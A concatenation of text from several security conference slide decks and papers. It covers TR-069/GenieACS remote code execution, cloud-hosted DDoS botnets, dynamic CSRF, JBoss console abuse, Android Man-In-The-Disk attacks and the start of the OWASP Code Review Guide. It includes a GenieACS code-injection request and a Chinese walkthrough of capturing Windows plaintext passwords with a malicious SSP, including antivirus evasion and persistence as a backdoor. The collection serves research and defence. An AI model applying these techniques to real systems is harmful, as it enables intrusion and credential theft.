later: RCE • Reflection + Native File Upload = CVE-2014-2840 GenieACS • Open source (Node.js, Redis, MongoDB) • Start auditing • 2 days later: RCE • Non-Global regex • Running as root output = input.replace(/[\[\]\\\^\$\.\|\?\+\(\)]/, "\\$&") GET /devices?query=["./;require('util').log(‘lolwut');//*"] HTTP/1.1 PWNAGE >be scanning ipv4 for GenieACS >detect instance in Iraqi ISP >nbi exposed >picard_facepalm.png >OP delivers (vulnerability report) >Iraqi ISP support center not thrilled with Israeli calling about “vulnerable infrastructure” >8/10 would report again What can I do? • Audit your TR-069 settings • Ensure SSL & proper cert validation • Unsatisfied? disable TR-069 • (If you can) • Add home security layer • Another router with NAT/FW capabilities • Open source firmware alternatives • Ask your provider about their TR-069 configuration! Fixing the Problem • There is no easy fix. • Bad implementations are out there, this is a long process • TR-069 has to mature • Awareness is key • Security community • That’s you guys • ACS vendors • Write better software, put money in secure coding • Show your security stance (bug bounties?) • Certification (?) • Service Providers • Protect your customers, it’s your responsibility More Directions • Stay tuned for CCC Questions • https://www.iol.unh.edu/sites/default/files/knowledgebase/hnc /TR-069_Crash_Course.pdf TR-069 Crash Course (University of New Hampshire Interoperability Laboratory) • https://community.rapid7.com/servlet/JiveServlet/download/21 50-1-16596/SecurityFlawsUPnP.pdf Whitepaper: Security Flaws in Universal Plug and Play: Unplug, Don’t Play. (Rapid7) • http://internetcensus2012.bitbucket.org/ Internet Census 2012 (anonymous researcher) • http://www.team- cymru.com/ReadingRoom/Whitepapers/SOHOPharming.html SOHO Pharming (Team Cymru)
pdf
Cloud Computing A Weapon of Mass Destruction? David M. N. Bryan - CISSP • Technology Enthusiast (Aka “Hacker” or VideoMan) • Security Consultant (Other Company) • dave@drstrangelove.net • PGP Key on key servers Michael Anderson - Newb • Security Consultant (NetSPI) • michael.anderson@netspi. com • cpt.fury@gmail.com NetSPI • Founded in 2001 • Exclusive Focus: Information Security Consulting – Security & compliance assessments, security program development – Vendor neutral – services only • PCI QSA, ASV, and PA-QSA Certifications • Government Clearances • Industry Focus: • Retail / payment apps • Financial services • Healthcare • Energy & Power What is the “Cloud” What can I do in the cloud? What’s required to start? Cloud Computing? • Is it a useful tool? • Or a WMD? Cloud Computing WMD • Outline • Threat Agents – Who and why? • Attacks – Command and Control – Attack Types – Results • Defenses – Incident Response Threat Agents • Who are they? – Business Rivals – Organized Crime – Foreign Powers Motivates • What do they want? – Bragging Rights – Money – Power Power Terms • DDoS – Distributed Denial of Service Attack • Fragmentation Attack • TCP Syn Flood – Sending packets with only the Syn bit set, and not listening for a response Typical Command And Control • Who is your herder? – Typical CNC – Herder • Controller or Scripts – Bots • Infected Clients • Lots of Hosts (Millions?) • Requires lots of time • Most systems are Windows Command And Control Thunder Clap • Its a proof of concept • Run DDoS attacks from the cloud • Can use social media as herder • Rapid deployment and ramp up of systems New Command And Control • Who is your herder? – Cloud is Herder and Botnet – Bandwidth is plentiful • Less dispersed • Little prep time – Control of attack • Social Media • Anonymous • Hard to track Command And Control Attack Types • TCP Full Connection – Could be less effective; not stealthy • Packet Fragmentation – Not implemented in proof-of- concept • TCP Syn Flood – Dangerous, but requires some serious bandwidth What can we do with this? • Target a website, server, or service • Target multiple components or sites • Potentially target distributed systems • Run a lowlife blackmail scheme (we won’t but, organized crime might) • Sell DDoS services to your competitors • Ensure your website is down, for good. Outcome • Threat agents can hold your environment hostage – Easily – Cheaply – Who watching again? ThunderClap Create Environment • Get credit card • Create machine image – Include dependencies • Deploy zombies Development • Create tools – Scapy – Hping – Libdnet • Develop attacks – TCP Full – Syn No Data – Random Source IP? Boom – pwnt! D00D, we is 1337 Outcome? • Profit • A series of tubes… Inter workings of TC Attack! Work to be done? Defense? • How can you protect yourself? Incident Response • CSIRT Teams? • NIST 800-61 Incident Response Could Computing Pros • Cloud computing is nimble – Provides agility to start ups – Easy to deploy large numbers of servers – Cost effective for small company – Only requires a credit card – Storage, CloudFront, Queues, etc Cloud Computing Cons • "Storing data yourself, on your own computers— without relying on the cloud—is the most legally secure way to handle your private information, generally requiring a warrant and prior notice. The government asserts that it can subpoena your data from cloud computing providers, with no prior notice to you.“ -Granick and Opsahl, EFF • No monitoring or response • Quick and nimble server deployment • Low cost to run effective DDoS • Use stolen credit card for environment Unmonitored… • We could end up with the next large scale attack in the clouds. Conclusion • Unmonitored – IDS/IPS? • Cloud allows for quick and nimble deployments • Reduce your server costs • Your data can be subpoenaed with our your consent or knowledge • What about logging? Q and A Thank You NetSPI 800 Washington Avenue North Minneapolis, MN 55401 612-465-8880 References • http://zvis.com/nuclear/detonation/ctyankee/ctyankee.shtml • http://www.indelibleinc.com/kubrick/films/strangelove/images/kingkong.jpg • http://commons.wikimedia.org/wiki/File:Tcp_synflood.png • http://csrc.nist.gov/publications/nistpubs/800-61-rev1/SP800-61rev1.pdf • http://upload.wikimedia.org/wikipedia/commons/7/71/AirForceMuseum_FatManReplic a.jpg • http://www.strangeloveforcongress.com/o/30070/images/warroom.jpg • http://www.eff.org
pdf
Dynamic Cross-Site Request Forgery A Per-Request Approach to Session Riding By Nathan Hamiel and Shawn Moyer July 24, 2009 Revision 1 Dynamic Cross-Site Request Forgery http://www.hexsec.com Abstract Cross-Site Request Forgery (“CSRF”) is typically described as a “replay” or static type of attack, where a bad actor uses markup, Javascript, or another method to force a client browser to perform a known, repeatable in-session transaction on the affected site without the user’s knowledge. Typical defensive measures against CSRF address this by creating unique, per-session or per-request tokens that aren’t typically available to an attacker, and by checking for other browser behaviors such as referring URL. In this paper we describe a number of approaches to construct “dynamic” CSRF attacks, forging unique requests on an automated, per-target basis, even in scenarios where Cross-Site Scripting or Cross-Domain issues don’t exist. “Classical” Cross-Site Request Forgery Pete Watkins coined the term Cross-Site Request Forgery in a post to Bugtraq in 20011, for what had been described in 1988 by Norm Hardy as the “Confused Deputy”2, in reference to similar problems with compilers and timesharing systems. The fundamental premise of CSRF is this: In the course of web browsing, a target user encounters a request from a malicious site or location that makes a request on behalf of the user to a site the user is already authenticated to. A forged request could be in the form of an HTML tag such as an IMG, IFRAME, or META refresh, embedded in Javascript or Flash, or sent as a 300-series HTTP redirect from a location under the attacker’s control. If the target user is authenticated, relevant HTTP headers and any authentication data are sent to the site along with the malicious request. From Watkins’ 2001 Bugtraq post: Dynamic Cross-Site Request Forgery http://www.hexsec.com 2 1 http://www.tux.org/~peterw/csrf.txt 2 http://www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html CSRF does not in any way rely on client-side active scripting, and its aim is to take unwanted, unapproved actions on a site where the victim has some prior relationship and authority. Where XSS sought to steal your online trading cookies so an attacker could manipulate your portfolio, CSRF seeks to use your cookies to force you to execute a trade without your knowledge or consent (or, in many cases, the attacker's knowledge, for that matter). Figure 1: An example of "Classic" CSRF. Hidden markup on bad.com forges a client request to an authenticated session on good.com. In 2004, Thomas Schreiber’s paper “Session Riding” 3 further expanded on Watkins post, and went on to describe a number of attack scenarios where CSRF was possible and valuable to an attacker, providing the most detailed accounting of the problem at the time. Schreiber went on to recommend tokenization as a solution, in addition to URL rewriting: Dynamic Cross-Site Request Forgery http://www.hexsec.com 3 3 http://www.securenet.de/papers/Session_Riding.pdf To make a Web application safe against Session Riding, introduce a secret (aka hash, token) and put it into every link and every form, at least into every form that is sensitive. The secret is generated after the user has logged in. It is stored in the server-side session. When receiving an http request that has been tagged with this information, compare the sent secret with the one stored in the session. If it is missing in the request or the two are not identical, stop processing the request and invalidate the session. Schreiber’s is the most common approach to CSRF protection, and is the typical mitigation approach in place today. While in the case of some newer frameworks, a CSRF token may be unique to a given generated request and recreated per-pageview, in practice CSRF token values are often valid for a given lifetime, such as a user’s session, and not always mapped to a specific session at all. Interestingly, Watkins’ original 2001 post saw the flaw in tokenization alone as a defensive approach: A combination of cookie + URL mangling might not be bad, though in the message board case, a CSRF attacker could use an intermediate redirect (as described earlier) to get the URL mangling (from the Referer), and redirect back to the messageboard with the proper mangling as well as all cookies that might be expected/needed. So in your example case, URL mangling would buy nothing. Watkins’ point, that tokens or “URL mangling” buy nothing for sites where offsite linking and referrer leakage is possible, remains valid today, and with the web’s increasing emphasis on offsite content, shared APIs, and user-generated content, a number of opportunities exist to prove Watkins’ point. Additionally, while the tokenization approach is sound, it must be implemented properly, with tokens being mapped to a given user session, not reusable, and sufficiently large and random enough to prevent brute-force attacks. A game-changing moment for CSRF was the Samy4 worm, which combined Cross-Site Scripting with CSRF to propagate. In cases where this is approach feasible, CSRF is often a payload of choice for Cross-Site-Scripting, using the XSS to forge requests that include user-specific request tokens and other relevant session information. “Dynamic” Cross-Site Request Forgery Dynamic Cross-Site Request Forgery http://www.hexsec.com 4 4 http://namb.la/popular/tech.html In a “dynamic” CSRF scenario, expanding on the approach described by Watkins, an attacker creates a customized, per-request forgery, based on each user’s session- specific information, including valid CSRF tokens and other parameters specific to the user’s session. In order for this approach to succeed without Cross-Site Scripting, a user would typically need to make a request to a site under attacker control, and the useful information to construct the request must be accessible to the attacker. This scenario is more likely than it would first appear. Clicking on a link in the context of a webmail application or message forum may leak the necessary information through referrer, or if the target site permits the inclusion of offsite content, such as offsite images (typical on many web forums and social networks), an attacker could silently obtain the necessary information to construct a custom forged request, and send a customized response to the target browser to call the “dynamic” CSRF. Additionally, other scenarios such as session fixation or brute-force against tokens from browser history5 might be feasible as methods to construct a “dynamic” CSRF, again constructing the forgery “on the fly” for each target request. Dynamic Cross-Site Request Forgery http://www.hexsec.com 5 5 http://securethoughts.com/2009/07/hacking-csrf-tokens-using-css-history-hack/ Figure 2: "Dynamic" CSRF scenario: User request is redirected to a CSRF with per-user session information included, such as CSRF token and session ID. In short, if it’s possible to obtain session specific information from a target browser in some fashion, “dynamic” CSRF is possible. To take advantage of this problem on an automated basis, an application controlled by the attacker could package different payloads based on domain or URL from which a given request came, and include any relevant “secret” URL-based information in the forged request, such as valid Session IDs or CSRF tokens, obtained either via cross-domain referrer leakage or from other means such as Session Fixation and other exposures. As a trivial example, if the following value in the referrer were obtained from a request to an attacker-controlled server, originating from a target browser: http://good.com/function.php?val1=foo&val2=bar&token=765234 In “dynamic” CSRF, a simple application under attacker control could repackage the request, sending a new request to the browser with a custom payload including the a valid token, such as: Dynamic Cross-Site Request Forgery http://www.hexsec.com 6 http://good.com/anotherfunction.php?val4=morefoo&val5=morebar&token=765234 If the user’s browser encounters the custom request as a redirect, a hidden form POST, or some other method, the request is sent along with any relevant HTTP authentication headers for good.com. “Dynamic” CSRF Payloads An application that constructs a dynamic payload for CSRF could take a number of approaches. Each scenario will vary depending on what type of data the attacker has the ability to put in the victims path, and the specific function being targeted on the site in question. HTTP Redirect Payload A trivial payload, where possible from cross-domain referrer leakage, is the use of a simple HTTP 302 redirect. In this case the attacker would use leaked session data and construct a redirect with a location value populated with the relevant session data obtained from the target browser. Figure 3: Redirect payload, sending custom redirect to client browser via HTTP 302. Dynamic Cross-Site Request Forgery http://www.hexsec.com 7 A dynamic payload is created with the associated token value and other session data is sent. This would allow an attacker to potentially bypass CSRF protections in place and execute a request of the attacker’s choice, and if the redirect is sent from a link in the context of a target site, referrer checks wouldn’t apply - the referring site would remain the source of the request, since browsers typically leave the original referrer intact. HTML-based Redirect An application that creates “Dynamic” CSRF payloads could also create a custom page based on referrer content and redirect the user to another site, performing the CSRF in the background. An interesting scenario here would be the use of a URL shortening service such as TinyURL, Is.gd, or others, sending a redirect to an ultimate “legitimate” destination, but embedding a custom CSRF payload in as part of an interstitial HTML page that includes a meta refresh to another location that appears legitimate. The generated HTML could construct a GET request with session data taken from cross-domain data, or even a self-submitting form that constructs a POST request. Dynamic Cross-Site Request Forgery http://www.hexsec.com 8 Figure 4: META refresh which includes hidden "dynamic" CSRF constructed from referrer leakage. Token Fixation “Dynamic” CSRF In a scenario where CSRF tokens are reusable and not linked to a given user session, a “dynamic” CSRF could construct a payload that issues a valid token to the user obtained by making a request to the site directly and obtaining a valid token. This approach is similar to session fixation attacks where SessionID is not paired to a given IP address. A token is obtained, and if a user can be enticed to visit a site under attacker control, a request is made on behalf of the user in the context of the target site. Dynamic Cross-Site Request Forgery http://www.hexsec.com 9 Figure 5: "Dynamic" CSRF with token/session fixation. Application under attacker control makes a request for a valid token that isn't mapped to a specific session, and issues it to the user. POST-based “Dynamic” CSRF It is also possible to construct a POST-based “dynamic” CSRF request that requires no interaction from the user’s browser. This could be possible in a multi-stage scenario, where for example CSRF tokens and other relevant information that are valid for the duration of a session are leaked via an offsite image or offsite content, and could then be combined into a customized forged POST request. Dynamic Cross-Site Request Forgery http://www.hexsec.com 10 Figure 5: POST-based "dynamic" CSRF scenario. Further Thoughts Theft of CSRF tokens isn’t the only use case for this approach. Even for CSRF where tokens or authentication mechanisms aren’t in use or can be bypassed , dynamically constructing the forgery on a per-request basis may be useful, such as targeting parameters in the URL that are specific to a given authenticated user. The larger point here is simply to remember the statement Watkins made eight years ago, which seems to have been missed: CSRF is not purely a static attack based only on known, repeatable parameters, it can be fluid, dynamic, and tailored to each target. Dynamic Cross-Site Request Forgery http://www.hexsec.com 11 References 1. Norm Hardy, “The Confused Deputy”, 1988, Available: http:// www.cis.upenn.edu/~KeyKOS/ConfusedDeputy.html 2. Pete Watkins, “Cross-Site Request Forgery”, June 13, 2001, Available: http://www.tux.org/~peterw/csrf.txt 3. Thomas Schreiber, “Session Riding”, December, 2004, Available: http://www.securenet.de/papers/Session_Riding.pdf 4. Samy Kamkar, “MySpace Worm Explanation”, June, 2006, Available: http://namb.la/popular/tech.html 5. SecureThoughts.com, “Hacking CSRF Tokens using CSS History Hack”, July, 2009, Available: http://securethoughts.com/2009/07/hacking- csrf-tokens-using-css-history-hack/ Dynamic Cross-Site Request Forgery http://www.hexsec.com 12
pdf
不修改注册表获取 windows 明文密码的若干姿势之 SSP 一. SSP 的作用 Security Support Providers 是一个提供约定回调函数的 dll,向系统注册了 SSP 后,系统在认证 过程中就会调用此 dll 中的某些函数,SSP 必须导出的函数如下: SpLsaModeInitialize SpInitialize SpGetInfo SpShutDown SpAcceptCredentials 在这里我们只需要关心 SpAcceptCredentials 这个回调函数,正如名字描述的一 样,此函数在系统认证过程中会接收到用户输入的账密,我们只需要记录下来,就 可以拿到用户的明文账密,mimilib 已经贴心地给我们实现了这个功能。 二、向系统注册我们的 SSP 在此引出 AddSecurityPackage 这个 windows API. MSDN 上对此 API 的功能描述是: Adds a security support provider to the list of providers supported by Microsoft Negotiate. 具体的功能就是让系统去主动加载我们的 SSP,在系统认证过程中调用我们的 SPP 里面的回调。 与其他获取明文密码的姿势相比 SSP 具有以下优势: 这是 windows 提供的功能,较为隐蔽。 不用直接读写 Lsass 进程内存,绕过了 AV 的防护。 不需要写注册表和让目标机器重启,立即生效 三. 验证 环境:win10 1909 x64. Windows defender 功能全开 1. 注册 SSP,让系统加载 此时 SSP 已经被加载,无法删除它。 2. 触发用户认证,SSP 成功地记录到明文账密,功能正常 注意点: 实战中 mimilib 特征较多,务必要做好免杀,经测试将明文密码加密(编码)更加隐蔽,容易 过 AV 检测。 SSP 会在机器重启后失效,若要作为后门来用,请做好持久化。 四:参考&引用: xpn @_xpn_ (这是个贼啦 NB 的大佬) https://blog.xpnsec.com/exploring-mimikatz-part-2/ 里面具体逆向分析和调试过程 干货挺多 MSDN: https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-addsecuritypackagew
pdf
Like a Boss  Open source Java EE application server  Developed by JBoss, a division of Red Hat  Abstracts the infrastructure of Java-based web applications  Very large and complex  “We have over the years had the understanding that JBoss AS will be primarily used by Java EE developers on their desktop to develop business applications. When they are ready to deploy those applications in production, they will have the practical sense to follow guidelines on securing jboss (which has been available in multiple forms in our wiki). There are no reasonable defaults in security to secure the shipped community version of JBoss AS.” Anil Saldhana Lead JBoss Security Architect at JBoss, A Division of Red Hat http://anil-identity.blogspot.com/2010/04/security-community-jboss-as-versus.html Source: Wikipedia  Provides a web interface to MBeans  From the JBoss wiki:  Installed by default with no security  JBoss provides recommendations for securing the JMX Console ◦ Some of which have been proven wrong ◦ And some issues are simply not addressed  http://community.jboss.org/wiki/securethejmxconsole  Default login module in login-config.xml is: ◦ org.jboss.security.auth.spi.UsersRolesLoginModule  This module does not provide ◦ Enforced password complexity ◦ Password lockouts ◦ Etc.  Notice anything? <web-resource-collection> <web-resource-name>HtmlAdaptor </web-resource-name> <description>An example security config that only allows users with the role JBossAdmin to access the HTML JMX console web application </description> <url-pattern>/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection>  Persistent XSS – get admin JSESSIONID  CSRF – execute any functionality  Specify the module used for authentication per application  jboss.security:service=XMLLoginConfig  Load new login-config.xml from arbitrary URL  MBeans are exposed over RMI  Same functionality as JMX console  DIFFERENT authentication mechanism!  JBoss also recommends you secure this  Occasionally the JMX console is protected or absent, but this service is available  Twiddle  /web-console/Invoker  /invoker/JMXInvokerServlet  Use deployment mechanisms to deploy arbitrary code ◦ Deploy over HTTP ◦ BeanShell Deployer  JBoss 4 and lower  Upload a JSP to an existing app  Reported in 2006 and “fixed”  Directory traversal is not the real issue  JBoss 5.x IS vulnerable  Note that DeploymentFileRepository is part of the web console, not JMX console   Often available even when JMX console or RMI service is not  It’s just status, right?  Don’t put secret tokens into URLs  From Google cache  And other interesting things  ?full=true  http://www.jboss.com/customers/  X-Powered-By ◦ “Servlet X; JBoss Y” or “Servlet X; Tomcat Y/JBoss Z”  Shodan  Results 1 - 10 of about 12811 for "x-powered-by" "jboss“  Auth realm “JBoss JMX Console”  And obviously…  http://www.redteam-pentesting.de/en/publications/jboss  https://media.blackhat.com/bh-eu- 10/presentations/Papathanasiou/BlackHat-EU-2010-Papathanasiou- Abusing-JBoss-slides.pdf  http://blog.mindedsecurity.com/2010/04/good-bye-critical-jboss- 0day.html
pdf
Man-In-The-Disk Slava Makkaveev DEF CON 2018 Me ● Slava Makkaveev ○ Security Researcher ○ Check Point Software Technologies Ltd. ○ PhD in Computer Science ○ Reverse engineering and vulnerability research Android Application Security Basics App’s Sandbox Model Application UID 10045 untrusted_app Android Framework Storage Android OS App UID 10046 Network App’s Permissions Normal/ Dangerous Preinstalled/ Privileged ● SMS ● CONTACTS ● STORAGE ● ... ● WRITE_SETTINGS ● INSTALL_PACKAGES ● ... ROM Signature/ SharedUserId ● ACCOUNT_MANAGER ● OEM_UNLOCK_STATE ● ... What about Application’s Storage? App’s Storage Internal ● Built-in non-volatile memory ● Always available ● Private External ● Partition in permanent memory ● Public Removable ● Not always available ● World-readable Why use External Storage? ● Share media files between apps ● Transfer files between smartphone and PC ● Compatibility with limited inner storage devices ● Hide the current size of the application External Storage Protection ● Global storage access ○ READ_EXTERNAL_STORAGE permission ○ WRITE_EXTERNAL_STORAGE permission ● “Private” directory per application ○ Files are not accessible by MediaStore content provider ○ Observing prevention Man-In-The-Disk Attack External Storage Usage Scenario Downloading to external storage Maintaining working data on external storage MITD Attack Vectors Downloading to external storage Maintaining working data on external storage External Storage Observing FileObserver observer; observer = new FileObserver( "/storage/emulated/0/path/to/folder") { @Override public void onEvent(int event, String file) { // ... } }; observer.startWatching(); int length, i = 0; int fd, wd; char buffer[EVENT_BUF_LEN]; fd = inotify_init(); wd = inotify_add_watch(fd, "/tmp", IN_CREATE); length = read(fd, buffer, EVENT_BUF_LEN); while (i < length) { struct inotify_event *event = (struct inotify_event *) &buffer[i]; // ... i += EVENT_SIZE + event->len; } inotify_rm_watch(fd, wd); close(fd); Java Native Private Directory Observing File watchDir; Timer timer; watchDir = new File(Environment.getExternalStorageDirectory().toString() + "/path/to/folder"); timer = new Timer(); final int FPS = 100; timer.scheduleAtFixedRate(new ObserverTask(), 0, 1000/FPS); class ObserverTask extends TimerTask { public void run() { File[] files = watchDir.listFiles(); for (int i = 0; i < files.length; i++) { // ... } } } No notification → Polling method Security guide based on “Android developer training articles” “You should perform input validation when handling data from external storage…” Google Translate (com.google.android.apps.translate) ../Android/data/com.google.an droid.apps.translate/files/ol pv3/v5/25/r11/ Holds offline mode translation packages on external storage libtranslate.so is compromised Yandex Translate (ru.yandex.translate) Holds offline mode translation packages on external storage ../Android/data/ru.yandex.tra nslate/files/offline/translat ion/ libmobile-android.so is compromised Google Voice Typing (com.google.android.googlequicksearchbox) ../Android/data/com.google.androi d.googlequicksearchbox/files/down load_cache/ ../app_g3_models/ libgoogle_speech_jni.so is compromised Downloads offline speech recognition languages through external storage “You should not store executables or class files on external storage...” LG Application Manager (com.lge.appbox.client) ../.dwnld/ Install APK file Installs/Updates LG related apps through external storage LG World (com.lge.lgworld) ../LGWorld/.Temp/ Install APK file Updates itself through external storage “... external storage files should be signed and cryptographically verified prior to dynamic loading...” Google Text-to-speech (com.google.android.tts) ../Android/data/com.google.andro id.tts/files/download_cache/ Downloads voice data through external storage ../app_voices_greco_v2/ 1. Downloading of a voice packet (zip file) to external storage 2. Verification of voice packet’s signature 3. Decompression of the voice packet to inner storage Google Text-to-speech (com.google.android.tts) Downloads voice data through external storage 1. Downloading of a voice packet (zip file) to external storage 2.5 Overwrite the voice packet libtts_android.so is compromised 2. Verification of voice packet’s signature 3. Decompression of the voice packet to inner storage Xiaomi Browser (com.android.browser package) Updates itself through external storage 1. Downloading of APK file to external storage 2.5 Overwrite the APK 2. Verification of APK file’s SHA1 hash 3. Installation of the APK Summary ● Device external storage is a public area which can be observed/modified by a third-party application as well as the device user ● Android does not provide relevant protection for the data in the external storage ● Many ROM pre-installed and popular apps hold sensitive data in the external storage ● Storage-based Man-In-The-Disk attack can break fortified Android app’s sandbox protection Hunting for Man-In-The-Disk MITD Research ● Application’s native library (*.so) ● A code flow that handles (parses/decodes/etc.) a controllable data file ● Implement simplest Java to Native adapter to reproduce the flow ● Fuzz the native lib by permutation of the data in the controllable file Research approach Target Java to native adapter public static void load() { System.load("/path/to/libgnustl_shared.so"); System.load("/path/to/libhwrword.so"); } public static void main(String[] args) { FileInputStream st1 = new FileInputStream( args[0]); FileInputStream st2 = new FileInputStream( "/path/to/hwr_prodlm.4DE9C666"); WordRecognizerJNI rec = new WordRecognizerJNI(); rec.initJNIFromFileInputStream( st1, 0, st1.getChannel().size(), st2, 0, st2.getChannel().size(), null, 0, 0, null, 0); } public static void load() { System.load("/path/to/liboffline_search-data_reader.so"); System.load("/path/to/liboffline_search.so"); } public static void main(String[] args) { copyFile(args[0], "/path/to/edge_search_dicts/xxx.dict"); long searchObj = OfflineSearchNativeC.JELOfflineSearchLibraryCreate( "/path/to/edge_search_dicts", 0, 2); OfflineSearchNativeC.JELOfflineSearchLibraryCreateSuggestions( searchObj, "a"); } Google Handwriting Yandex Search ● load Target lib ● reproduce the target flow Fuzzing of Application native Target .so library Adapter .dex Android Runtime Dalvikvm tool QEMU ARM CPU emulator AFL Fuzz Engine Android device/emulator ● Android framework used by Target lib ● load Android Runtime ● execute Adapter’s entry points ● track Target lib’s code coverage ● generate the next test case for processing based on code coverage metrics ● Linux kernel used by Android Runtime Thank you! github.com/CheckPointSW/android_appfuzz slavam@checkpoint.com
pdf
CODE REVIEW GUIDE RELEASE Creative Commons (CC) Attribution Free Version at: https://www.owasp.org Project leaders: Larry Conklin and Gary Robinson 2.0 1 Foreword Acknowledgements 1 3 6 8 5 Introduction How To Use The Code Review Guide 2 Code Review Do’s And Dont’s Code Review Checklist Threat Modeling Example Code Crawling 192 196 200 206 3 A1 Injection A2 Broken Authentication And Session Management A3 Cross-Site Scripting (XSS) A4 Insecure Direct Object Reference A5 Security Misconfiguration A6 Sensitive Data Exposure A7 Missing Function Level Access Control A8 Cross-Site Request Forgery (CSRF) A9 Using Components With Know Vulnerabilities A10 Unvalidated Redirects And Forwards 43 58 70 77 82 117 133 139 146 149 Technical Reference For Secure Code Review Appendix 4 HTML5 Same Origin Policy Reviewing Logging Code Error Handling Reviewing Security Alerts Review For Active Defence Race Conditions Buffer Overruns Client Side JavaScript 154 158 160 163 175 178 181 183 188 Secure Code Review Methodology 9 20 Introduction 2 1 3 Code Review Guide Foreword - By Eoin Keary By Eoin Keary, Long Serving OWASP Global Board Member The OWASP Code Review guide was originally born from the OWASP Testing Guide. Initially code review was covered in the Testing Guide, as it seemed like a good idea at the time. Howev- er, the topic of security code review is too big and evolved into its own stand-alone guide. I started the Code Review Project in 2006. This current edition was started in April 2013 via the OWASP Project Reboot initia- tive and a grant from the United States Department of Home- land Security. The OWASP Code Review team consists of a small, but talented, group of volunteers who should really get out more often. The volunteers have experience and a drive for the best practices in secure code review in a variety of organizations, from small start-ups to some of the largest software development organi- zations in the world. It is common knowledge that more secure software can be pro- duced and developed in a more cost effective way when bugs are detected early on in the systems development lifecycle. Or- ganizations with a proper code review function integrated into the software development lifecycle (SDLC) produced remark- ably better code from a security standpoint. To put it simply “We can’t hack ourselves secure”. Attackers have more time to find vulnerabilities on a system than the time allocated to a defend- er. Hacking our way secure amounts to an uneven battlefield, asymmetric warfare, and a losing battle. By necessity, this guide does not cover all programming lan- guages. It mainly focuses on C#/.NET and Java, but includes C/ C++, PHP and other languages where possible. However, the techniques advocated in the book can be easily adapted to al- most any code environment. Fortunately (or unfortunately), the security flaws in web applications are remarkably consistent across programming languages. Eoin Keary, June 2017 FOREWORD 1 4 Acknowledgements APPRECIATION TO UNITED STATES DEPARTMENT OF HOMELAND SECURITY FEEDBACK OWASP community and Code Review Guide project leaders wish to expresses its deep ap- preciation to United States Department of Homeland Security for helping make this book possible by funds provided to OWASP thru a grant. OWASP continues be to the preeminent organization for free unbiased/unfretted application security. We have seen a disturbing rise in threats and attacks on community institutions thru appli- cation vulnerabilities, only by joining forces, and with unfretted information can we help turn back the tide these threats. The world now runs on software and that software needs to be trust worthy. Our deepest appreciation and thanks to DHS for helping and in sharing in this goal. If you have any feedback for the OWASP Code Review team, and/or find any mistakes or improvements in this Code Review Guide please contact us at: owasp-codereview-project@owasp.org 5 Acknowledgements ACKNOWLEDGEMENTS Content Contributors Larry Conklin Gary Robinson Johanna Curiel Eoin Keary Islam Azeddine Mennouchi Abbas Naderi Carlos Pantelides Michael Hidalgo Reviewers Alison Shubert Fernando Galves Sytze van Koningsveld Carolyn Cohen Helen Gao Jan Masztal David Li Lawrence J Timmins Kwok Cheng Ken Prole David D’Amico Robert Ferris Lenny Halseth Kenneth F. Belva VERSION 2.0, 2017 Project Leaders Larry Conklin Gary Robinson Project Leader Eoin Keary Content Contributors Jenelle Chapman Andrew van der Stock Paolo Perego David Lowry David Rook Dinis Cruz Jeff Williams Reviewers Jeff Williams Rahin Jina VERSION 1.0, 2007 6 Welcome to the second edition of the OWASP Code Review Guide Project. The second edition brings the successful OWASP Code Review Guide up to date with current threats and countermeasures. This ver- sion also includes new content reflecting the OWASP communities’ experiences of secure code review best practices. INTRODUCTION CONTENTS The Second Edition of the Code Review Guide has been developed to advise software developers and management on the best practices in secure code review, and how it can be used within a secure soft- ware development life-cycle (S-SDLC). The guide begins with sections that introduce the reader to secure code review and how it can be introduced into a company’s S-SDLC. It then concentrates on specific technical subjects and provides examples of what a reviewer should look for when reviewing technical code. Specifically the guide covers: Overview This section introduces the reader to secure code review and the advantages it can bring to a devel- opment organization. It gives an overview of secure code review techniques and describes how code review compares other techniques for analyzing secure code. Methodology The methodology section goes into more detail on how to integrate secure review techniques into de- velopment organizations S-SDLC and how the personnel reviewing the code can ensure they have the correct context to conduct an effective review. Topics include applying risk based intelligence to securi- ty code reviews, using threat modelling to understand the application being reviewed, and understand- ing how external business drivers can affect the need for secure code review. Introduction - Contents 7 How to use The contents and the structure of the book have been carefully designed. Further, all the contributed chapters have been judi- ciously edited and integrated into a unifying framework that provides uniformity in structure and style. This book is written to satisfy three different perspectives. 1. Management teams who wish to understand the reasons of why code reviews are needed and why they are included in best practices in developing secure enterprise software for todays organizations. Senior management should thoroughly read sec- tions one and two of this book. Management needs to consider the following items if doing secure coding is going to be part of the organizations software development lifecycle: • Does organization project estimation allot time for code reviews? • Does management have the capability to track the relevant metrics of code review and static analysis for each project and programmer? • Management needs to decide when in the project life cycle will that code reviews should be done in the project lifecycle and what changes to existing projects require review of previously completed code reviews. 2. Software leads who want to give manfully feedback to peers in code review with ample empirical artifacts as what to look for in helping create secure enterprise software for their organizations. They should consider: •As a peer code reviewer, to use this book you first decided on the type of code review do you want to accomplish. Lets spend a few minutes going over each type of code review to help in deciding how this book can be assistance to you. • API/design code reviews. Use this book to understand how architecture designs can lead to security vulnerabilities. Also if the API is a third party API what security controls are in place in the code to prevent security vulnerabilities. • Maintainability code reviews. These types of code reviews are more towards the organizations internal best coding practices. This book does cover code metrics, which can help the code reviewer, better understand what code to look at for security vul- nerabilities if a section of code is overly complex. • Integration code reviews. Again these types of code reviews are more towards the organizations internal coding policies. Is the code being integrated into the project fully vetted by IT management and approved? Many security vulnerabilities are now being implemented by using open source libraries whichh may bring in dependencies that are not secure. • Testing code reviews. Agile and Test Driven design where programmer creates unit tests to prove code methods works as the programmer intended. This code is not a guide for testing software. The code reviewer may want to pay attention to unit test cases to make sure all methods have appropriate exceptions; code fails in a safe way. If possible each security control in code has the appropriate unit test cases. 3. Secure code reviewer who wants an updated guide on how secure code reviews are integrated in to the organizations secure software development lifecycle. This book will also work as a reference guide for the code review as code is in the review process. This book provides a complete source of information needed by the code reviewer. It should be read first as a story about code reviews and seconds as a desktop reference guide. HOW TO USE THE CODE REVIEW GUIDE 8 2 9 SECURE CODE REVIEW Technical Reference For Secure Code Review Here the guide drills down into common vulnerabilities and technical controls, including XSS, SQL injection, session tracking, authentication, authorization, logging, and information leakage, giving code examples in various languages to guide the reviewer. This section can be used to learn the important aspects of the various controls, and as an on-the-job reference when conducting secure code reviews. We start with the OWASP Top 10 issues, describing technical aspects to consider for each of these issues. We then move onto other common application security issues not specific to the OWASP Top 10 Secure code review is probably the single-most effective technique for identifying security bugs early in the system development lifecycle. When 